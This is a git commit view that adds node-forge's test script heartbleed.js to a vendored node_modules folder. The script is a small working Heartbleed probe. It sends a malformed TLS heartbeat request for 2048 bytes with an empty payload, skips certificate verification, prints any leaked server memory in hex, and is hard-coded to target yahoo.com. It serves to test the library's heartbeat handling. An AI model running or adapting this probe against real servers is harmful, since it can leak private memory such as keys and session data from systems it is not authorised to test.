diff options
author | Minteck <contact@minteck.org> | 2023-01-10 14:54:04 +0100 |
---|---|---|
committer | Minteck <contact@minteck.org> | 2023-01-10 14:54:04 +0100 |
commit | 99c1d9af689e5325f3cf535c4007b3aeb8325229 (patch) | |
tree | e663b3c2ebdbd67c818ac0c5147f0ce1d2463cda /school/node_modules/node-forge/tests/heartbleed.js | |
parent | 9871b03912fc28ad38b4037ebf26a78aa937baba (diff) | |
download | pluralconnect-99c1d9af689e5325f3cf535c4007b3aeb8325229.tar.gz pluralconnect-99c1d9af689e5325f3cf535c4007b3aeb8325229.tar.bz2 pluralconnect-99c1d9af689e5325f3cf535c4007b3aeb8325229.zip |
Update - This is an automated commit
Diffstat (limited to 'school/node_modules/node-forge/tests/heartbleed.js')
-rw-r--r-- | school/node_modules/node-forge/tests/heartbleed.js | 55 |
1 files changed, 55 insertions, 0 deletions
diff --git a/school/node_modules/node-forge/tests/heartbleed.js b/school/node_modules/node-forge/tests/heartbleed.js new file mode 100644 index 0000000..b38869a --- /dev/null +++ b/school/node_modules/node-forge/tests/heartbleed.js @@ -0,0 +1,55 @@ +var forge = require('../js/forge'); +var net = require('net'); + +var socket = new net.Socket(); + +var client = forge.tls.createConnection({ + server: false, + verify: function(connection, verified, depth, certs) { + // skip verification for testing + return true; + }, + connected: function(connection) { + // heartbleeds 2k + console.log('[tls] connected'); + connection.prepareHeartbeatRequest('', 2048); + setTimeout(function() { + client.close(); + }, 1000); + }, + tlsDataReady: function(connection) { + // encrypted data is ready to be sent to the server + var data = connection.tlsData.getBytes(); + socket.write(data, 'binary'); + }, + dataReady: function(connection) { + // clear data from the server is ready + var data = connection.data.getBytes(); + console.log('[tls] received from the server: ' + data); + }, + heartbeatReceived: function(c, payload) { + console.log('Heartbleed:\n' + payload.toHex()); + client.close(); + }, + closed: function() { + console.log('[tls] disconnected'); + socket.end(); + }, + error: function(connection, error) { + console.log('[tls] error', error); + } +}); + +socket.on('connect', function() { + console.log('[socket] connected'); + client.handshake(); +}); +socket.on('data', function(data) { + client.process(data.toString('binary')); +}); +socket.on('end', function() { + console.log('[socket] disconnected'); +}); + +// connect +socket.connect(443, 'yahoo.com'); |